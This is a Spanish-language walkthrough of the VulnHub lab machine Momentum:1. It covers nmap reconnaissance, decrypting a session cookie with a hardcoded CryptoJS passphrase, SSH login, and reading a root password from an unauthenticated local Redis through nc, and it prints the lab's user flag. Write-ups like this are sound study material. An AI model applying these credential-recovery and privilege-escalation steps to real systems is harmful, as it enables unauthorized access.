Momentum:1 - VulnHub
Info: easy / medium
Summary
- IP: 192.168.0.108
- Ports: 22,80
- OS: Linux (Debian Buster)
- Services & Applications:
- 22 -> OpenSSH 7.9p1 Debian 10+deb10u2
- 80 -> Apache httpd 2.4.38
Recon
- Reconocimiento básico de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 192.168.0.108 -oG allPorts
- Escaneo profundo de puertos encontrados:
$sudo nmap -p22,80 -sCV 192.168.0.108 -oN targeted
- Escaneo básico de página web:
$sudo nmap --script http-enum -p80 192.168.0.108 -oN webScan
- Analizamos el código fuente de la página web principal, vemos un main.js el cual contiene código con la función de CryptoJS con la respectiva contraseña.
- En el buscador encontramos una plantilla para usar la función de crypto JS y probamos introduciendo la cookie de sesión que parece estar cifrada para poder descifrarla:
// INIT
var encrypted = "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt";
var myPassword = "SecretPassphraseMomentum";
// PROCESS
var decrypted = CryptoJS.AES.decrypt(encrypted, myPassword);
document.getElementById("demo2").innerHTML = decrypted;
document.getElementById("demo3").innerHTML = decrypted.toString(CryptoJS.enc.Utf8);
--------------------------------------------------------------------------------------------------------------
Decrypted: 617578657272652d616c69656e756d2323
String after Decryption: auxerre-alienum##**
- Intentamos usar el string descrifrado como contraseña para acceder via ssh a la máquina con el usuario “auxerre”:
$ssh auxerre@192.168.0.108
- Encontramos la flag de usuario:
USER FLAG: 84157165c30ad34d18945b647ec7f647
ESCALANDO PRIVILEGIOS:
- Hacemos búsqueda básica y no encontramos nada.
- Enumeramos los procesos activos y encontramos un redis-server corriendo en el puerto 6379:
ps -faux
- Comprobamos que dicho puerto esté abierto:
ss -nltp
- Nos conectamos al equipo local por el puerto 6379:
nc localhost 6379
- Consultamos que bases de datos están activas:
INFO keyspace
- Seleccionamos la base de datos existente
SELECT 0
- Mostramos las keys:
KEYS *
- Leemos la key encontrada:
GET rootpass
- Obtenemos la credencial de root, accedemos y obtenemos la flag: